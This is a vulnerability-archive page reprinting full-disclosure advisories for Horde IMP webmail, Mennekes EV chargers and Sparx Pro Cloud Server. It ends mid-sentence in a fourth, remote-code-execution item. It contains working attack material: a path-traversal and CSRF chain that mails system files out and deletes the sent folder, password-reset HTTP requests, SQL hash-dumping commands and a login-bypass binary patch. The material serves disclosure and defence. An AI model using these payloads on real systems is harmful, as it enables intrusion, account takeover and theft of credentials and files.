GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

387 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0327

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln
Summary
this is my first time sending to a mailing list so ive chosen something easy. here goes: Summary: Horde Groupware’s IMP Webmail solution contains a path traversal/local file inclusion vulnerability which could be exploited to escalate privileges or bypass authentication (through CSRF if unauthenticated). the vulnerability is in here: } elseif (strcasecmp($node->tagName, 'IMG') === 0) { /* Check for smileys. They live in the JS directory, under * the base ckeditor directory, so search for that and replace * with the filesystem information if found (Request * #13051). Need to ignore other image links that may have * been explicitly added by the user. */ $js_path = strval(Horde::url($registry->get('jsuri', 'horde'), true)); if (stripos($src, $js_path . '/ckeditor') === 0) { $file = str_replace( $js_path, $registry->get('jsfs', 'horde'), $src ); if (is_readable($file)) { $data_part = new Horde_Mime_Part(); $data_part->setContents(file_get_contents($file)); ... as seen, we control $file, which is just the src in <img src="">. to get past the checks to hit our file_get_contents sink, we can just satisfy the stripos check. our (elementary) exploit is thus: -- <img src="https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts";> -- this is likely very chainable with any other existing primitive to achieve rce on horde IMP. for example, heres an easy csrf chain: -- <!DOCTYPE html> <html> <body> <h1>yo</h1> <script> var p1 = new FormData(); p1.append('to', 'john () evil gov'); // land in spam p1.append('subject', 'hai'); p1.append('html', '1'); p1.append('message', '<html><body>bye<img src="http://targ/horde/js/ckeditor/../../../../etc/passwd";></body></html>'); p1.append('identity', '0'); p1.append('priority', 'normal'); p1.append('request_read_receipt', '0'); p1.append('save_sent_mail', '1'); fetch('http://targ/horde/services/ajax.php/imp/sendMessage', { method: 'POST', body: p1, credentials: 'include', mode: 'no-cors' }) .then(() => { console.log("* bye"); setTimeout(() => { var p2 = new FormData(); p2.append('mbox', 'U0VOVA'); // b64 SENT // delete fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', { method: 'POST', body: p2, credentials: 'include', mode: 'no-cors' }); }, 2000); }); </script> </body> </html> -- PATCH: update to horde imp 7.0.1 for the patch. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
horde imp Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0327 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "imp",
          "vendor": "horde",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u3164evan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n                /* Check for smileys. They live in the JS directory, under\n                 * the base ckeditor directory, so search for that and replace\n                 * with the filesystem information if found (Request\n                 * #13051). Need to ignore other image links that may have\n                 * been explicitly added by the user. */\n                $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n                if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n                    $file = str_replace(\n                        $js_path,\n                        $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n                        $src\n                    );\n\n                    if (is_readable($file)) {\n                        $data_part = new Horde_Mime_Part();\n                        $data_part-\u003esetContents(file_get_contents($file));\n                      ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n    \u003ch1\u003eyo\u003c/h1\u003e\n    \u003cscript\u003e\n        var p1 = new FormData();\n        p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n        // land in spam\n        p1.append(\u0027subject\u0027, \u0027hai\u0027);\n        p1.append(\u0027html\u0027, \u00271\u0027);\n        p1.append(\u0027message\u0027,\n            \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n        p1.append(\u0027identity\u0027, \u00270\u0027);\n        p1.append(\u0027priority\u0027, \u0027normal\u0027);\n        p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n        p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n        fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n                method: \u0027POST\u0027,\n                body: p1,\n                credentials: \u0027include\u0027,\n                mode: \u0027no-cors\u0027\n            })\n            .then(() =\u003e {\n                console.log(\"* bye\");\n                setTimeout(() =\u003e {\n                    var p2 = new FormData();\n                    p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n                    // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n                        method: \u0027POST\u0027,\n                        body: p2,\n                        credentials: \u0027include\u0027,\n                        mode: \u0027no-cors\u0027\n                    });\n                }, 2000);\n            });\n    \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/8"
        },
        {
          "url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-58451",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0327",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
            "automated": true,
            "contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-02T17:04:19Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0327"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0327"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0326

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series
Summary
CyberDanube Security Research 20260528-0 ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| Mennekes Amtron Series and Smart-T PnC vulnerable version| 5.22.3 fixed version| 5.33.11-21500 CVE number| CVE-2026-8979, CVE-2026-8980 impact| High homepage| https://www.mennekes.at/ found| 2025-11-27 by| S. Eisenreich-Dietz, T. Weber | CyberDanube Security Research | Austria - Vienna | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- For more than 80 years, MENNEKES has stood for quality electrical products and service throughout the world. When it comes to solutions that handle current intelligently and safely, we set the standard for innovation, quality, manufacturing and development. Source: https://www.mennekes.com/about/about-us Vulnerable Products ------------------------------------------------------------------------------- Amtron Professional Amtron Professional (Eichrecht) Amedio Professional Amtron Charge Control Amtron Professional Twincharge Smart-T PnC Vulnerability Overview ------------------------------------------------------------------------------- 1) Authentication Bypass (CVE-2026-8979) An unauthentication attacker can use a crafted POST request to change the password of the user account. 2) Privilege Escalation (CVE-2026-8980) An authenticated attacker can use a crafted POST request to change the password of the manufacturer and admin account as low privileged user. Proof of Concept ------------------------------------------------------------------------------- 1) Authentication Bypass (CVE-2026-8979) The following POST request can be used to change the password of the user account to "asdf" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /operator/operator HTTP/1.1 Host: 10.201.74.66 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 UserPwdPlain_custom=asdf ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2) Privilege Escalation (CVE-2026-8980) The following POST requests can be used to change the admin (operator) and manufacturer account password to "asdf". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /json/settings.json HTTP/1.1 Host: 10.201.74.66 Content-Length: 60 Authorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8 Accept-Language: en-US,en;q=0.9 Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Origin: http://10.201.74.66 Referer: http://10.201.74.66/groups/system Accept-Encoding: gzip, deflate, br Connection: keep-alive {"params":[{"key":"OperatorPwdPlain_custom","value":"asd"}]} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /json/settings.json HTTP/1.1 Host: 10.201.74.66 Content-Length: 59 Authorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9 Accept-Language: en-US,en;q=0.9 Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Origin: http://10.201.74.66 Referer: http://10.201.74.66/groups/system Accept-Encoding: gzip, deflate, br Connection: keep-alive {"params":[{"key":"ManufacturerPwd_custom","value":"asd"}]} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution ------------------------------------------------------------------------------- Update to the newest Firmware. Workaround ------------------------------------------------------------------------------- Restrict access to the device. Contact Timeline ------------------------------------------------------------------------------- 2025-02-24: Get in contact with psirt () mennekes de 2025-02-25: Vulnerabilities get acknowledged and are forwarded to BENDER as they are the manufacturer for the devices. 2025-03-18: Ask for update regarding fixes, CVE numbers, fixed version and effected products. Response states that they will not create CVEs. 2025-05-28: Release of advisory.     Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF S. Eisenreich-Dietz / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Relationships
analysis GCVE-1988-2026-0326 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260528-0\n-------------------------------------------------------------------------------\n                title| Multiple Vulnerabilities\n              product| Mennekes Amtron Series and Smart-T PnC\n   vulnerable version| 5.22.3\n        fixed version| 5.33.11-21500\n           CVE number| CVE-2026-8979, CVE-2026-8980\n               impact| High\n             homepage| https://www.mennekes.at/\n                found| 2025-11-27\n                   by| S. Eisenreich-Dietz, T. Weber\n                     | CyberDanube Security Research\n                     | Austria - Vienna\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\nFor more than 80 years, MENNEKES has stood for quality electrical products and\nservice throughout the world. When it comes to solutions that handle current\nintelligently and safely, we set the standard for innovation, quality,\nmanufacturing and development.\n\nSource: https://www.mennekes.com/about/about-us\n\n\nVulnerable Products\n-------------------------------------------------------------------------------\nAmtron Professional\nAmtron Professional (Eichrecht)\nAmedio Professional\nAmtron Charge Control\nAmtron Professional Twincharge\nSmart-T PnC\n\nVulnerability Overview\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nAn unauthentication attacker can use a crafted POST request to change the\npassword of the user account.\n\n2) Privilege Escalation (CVE-2026-8980)\nAn authenticated attacker can use a crafted POST request to change the password\nof the manufacturer and admin account as low privileged user.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nThe following POST request can be used to change the password of the user\naccount to \"asdf\"\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /operator/operator HTTP/1.1\nHost: 10.201.74.66\nAccept-Language: en-US,en;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag\ne/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 24\nUserPwdPlain_custom=asdf\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n2) Privilege Escalation (CVE-2026-8980)\nThe following POST requests can be used to change the admin (operator) and\nmanufacturer account password to \"asdf\".\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 60\nAuthorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"OperatorPwdPlain_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 59\nAuthorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"ManufacturerPwd_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nSolution\n-------------------------------------------------------------------------------\nUpdate to the newest Firmware.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict access to the device.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-02-24:\u2002Get in contact with psirt () mennekes de\n2025-02-25:\u2002Vulnerabilities get acknowledged and are forwarded to BENDER\n                as they are the manufacturer for the devices.\n2025-03-18:\u2002Ask for update regarding fixes, CVE numbers, fixed version and\n                effected products. Response states that they will not create\n                CVEs.\n2025-05-28: Release of advisory.\u2002\u2002\u2002\u2002\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Eisenreich-Dietz / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/25"
        },
        {
          "url": "http://10.201.74.66"
        },
        {
          "url": "http://10.201.74.66/groups/system"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.mennekes.at/"
        },
        {
          "url": "https://www.mennekes.com/about/about-us"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-8979",
              "type": "related"
            },
            {
              "destId": "CVE-2026-8980",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0326",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25",
            "automated": true,
            "contentSha256": "a8daaddb97117301cce132a44cca1c8846b894411b06106ef058a1c0912dd4a2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-29T14:33:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0326"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0326"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0325

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect
Summary
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ General information ═══════════════════ Multiple vulnerabilities in Sparx Pro Cloud Server (PCS) versions <= 6.1 and Sparx Enterprise Architect versions <=17.1 allow a remote unauthenticated attacker to execute arbitrary sql queries (both read and write) within any configured database. In case where PCS is installed with WebEA the vulnerabilities allow further for remote unauthenticated code execution (RCE) within the web server context. CVSSv4 chained score: *10.0 Critical* (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) Fix ═══ Currently vendor *did not resolve* any of the CVEs. The PCS authentication bypass and race condition seem to be easy to implement and I hope vendor will release patches soon. As a workaround it is best to isolate the PCS instances from internet and untrusted networks. Create frequent backups and review access logs if possible. You could also setup a proxy to limit the PCS authentication bypass (dropping requests with no or wrong model query parameter. [Vulnerabilitiy #1] Sparx Pro Cloud Server SQL Command Execution ════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42096 - Broken Access Control in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 9.4 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) Impact ────── PCS works as a remote model for a thick client, running on user's computers, called Enterprise Architect (EA). EA connects to PCS and works with the exposed database by directly running SQL queries. Besides user authentication (which is also vulnerable - see vulnerability #2 below) there is no additional access control. Any low privileged user can actually run any sql queries permitted by the configured external database user. Usually the user configured is at least having full access to the model database - thus any low privileged user can actually destroy the whole model, retrieve and change other user's password hashes and more. The problem seems to be with legacy thick client EA architecture which simply works on a database to manage all the model details. Details ─────── The client (EA) is connecting to the PCS HTTP server. The server might require authentication *if it is properly configured* - an admin can check "Enable Security" in EA but still not select "Require a secure and authenticated connection" in PCS configuration what results in *NO SERVER SIDE authentication at all*. Assuming the server side authentication is required the PCS verifies the authentication according to configuration - e.g. login/password, Active Directory or OpenID. Then the EA client sends request to perform SQL queries on the database in an ecrypted form but the whole encryption scheme is built into the client EA binary (actually downloadable from the vendor webside without any authentication - as trial version). The encryption is symmetric using a key contained within the binary itself thus simply this is not any security measure (security by obscurity). An attacker can obtain the key and then *create and send custom SQL queries to be performed by the database*. PoC ─── Exploit: https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py is a python script which exploits the SQL vulnerability by encrypting any SQL command and sending it to the server. For security, the real key is removed from the exploit code. This script receives all users and their hashes from PCS: ┌──── │ python3 eacrypt.py http://${PCS_HOSTNAME} model "select * from t_secuser, t_xref where t_xref.Type='User Setting' and t_xref.Name ='SHA-256' and t_xref.Client=t_secuser.UserID" └──── Solution ──────── It will be hard to introduce proper authorization for all types of SQL queries - this would require to rewrite the logic to use some higher abstraction API which can be properly authorized. Until a proper authorized API will be provided a quick solution could be at least to verify the SQL queries executed and block the most dangerous like asking about other users' passwords and so on. Maybe a query whitelist with limiting the view of some critical assets like hashes. For sure it should be transparently stated in the PCS and EA documentation web page. Some integrators and admins are aware of this risk (there are some topics on the forum mentioning that the model security is not in fact security) but this *should be well described in both product documentations* as a limitation and risk which needs to be understood by clients and taken into consideration at an early stage while designing a production system. Otherwise it poses a high risk for any company using those products. [Vulnerability #2] Sparx Pro Cloud Server Authentication Bypass ═══════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42097 - Authentication Bypass in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 9.2 Critical (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Impact ────── An attacker can *omit PCS authentication* and e.g. combined with the previous vulnerability be able to remotely execute arbitrary SQL commands (read and write) *without authentication*. Details ─────── It seems that PCS requires authentication based on requested URL. EA clients sending the encrypted SQL query to PCS are using an url which looks as follows: ┌──── │ https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME} └──── PCS seems to look at the URL and decides how to authenticate the request. Unfortunately the SQL command query sends a POST request with a binary blob where the model name is defined one more time and this is the value that is further used by PCS to execute the query. Thus an attacker can simply omit the model query parameter and send the model name only in the binary blob in both TLS and non-TLS ports and the query will be executed even thought there was no authentication. PoC ─── To quickly verify compare the authenticated response for a request: ┌──── │ curl 'https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}' -X POST -vvv --data 'whatever' -k └──── which responds 401 Access Denied to response of a request without the query param: ┌──── │ curl 'https://${PCS_HOSTNAME}/SparxCloudLink.sseap' -X POST -vvv --data 'whatever' -k └──── which responds 500 Internal Server Error. To proof this properly use the python code which exploits the #1 SQL vulnerability and uses the URL without model query parameter to omit the authentication. Solution ──────── Make a single parameter pointing the model (either in the blob or in query param) and hook authentication and query logic on the same parameter. [Vulnerability #3] Sparx Enterprise Architect Authorization Bypass ══════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42098 - Authorization Bypass in Sparx Enterprise Architect Affected versions ───────────────── Sparx Enterprise Architect versions <= 17.1 CVSSv4 ────── 7.7 High (CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Impact ────── Sparx Enterprise Architect software has a security feature which can be enabled. When enabled the users can be limited to perform only some actions by roles but this is not a real security measure as it can be easily bypassed. *Any authenticated user can actually perform any action on the model* including deletion, stealing of other users' passwords and many others. This *includes configurations with Pro Cloud Server* where vendor advertises that PCS brings high level of security for the model: Robust security features are designed to protect sensitive model information, *including role-based access control*, encryption, authentication mechanisms and audit trails. source: <https://www.sparxsystems.eu/pro-cloud-server/> Details ─────── This vulnerability, most probably, is a result of the legacy thick client architecture described in the vulnerability #1. The EA documentation states briefly that the security is not a real security: The Security system in Enterprise Architect is designed to facilitate collaboration, *not as a barrier to incursion*. source: <https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html> but right below it suggests that model assets should be secured: The information contained in the Repository is a valuable organizational asset that needs to be maintained and secured as such. The asset must be protected from both *intentional* and inadvertent compromises of content. The Security system allows update functions to be restricted to a set of users or groups with the appropriate defined permission. Packages, elements and diagrams can be locked by users, preventing others from updating them. source: <https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html> Unfortunately the current design is not protecting against intentional compromises of content. An attacker can modify the EA client behavior (e.g. using a debugger) to login in as any other user or administrator - then it is possible to do every possible change to the repository. PoC ─── To show how it works it is enough to patch the binary to change the logic and accept all incorrect passwords and reject correct ones. For the file version 17.1.0.1714 of EA.exe (md5sum: 69dfe7b98d1fc156d15d8aeff726cfce) the following would patch the logic: ┌──── │ printf '\x84' | dd of=EA.exe bs=1 seek=$((0x34657B2)) conv=notrunc └──── Then run the patched exe and try to login to local model with different password. It also works obviously for cloud models which do not require server HTTP authentication or when using the "Login as different user option". Solution ──────── The way security works for EA should be properly and transparently presented in the EA documentation and installation notes. The sentence quoted above is not enough and can be easily misinterpreted by many users leading to vulnerabilities. Also it should be explained that even when using PCS after authentication there is no authorization until visibility levels are enabled which are working per whole database manager not user - so in fact there is no user based RBAC but rather database manager RBAC what is much more coarse grained then per user roles access control. In terms of combination of EA and PCS it is possible to secure the design by e.g. following the recommendations proposed in vulnerability #1. [Vulnerability #4] Sparx Pro Cloud Server WebEA Remote Code Execution ═════════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42099 - Race Condition in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 9.0 Critical (CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) Impact ────── PCS configured with WebEA PHP application allows for remote command execution using the /data_api/dl_internal_artifact.php endpoint. This URL is used by WebEA to download content of a internal artifact. A remote attacker having access to the PCS repository is able to inject a malicious php file into the
Severity
No CVSS data available.
Impacted products
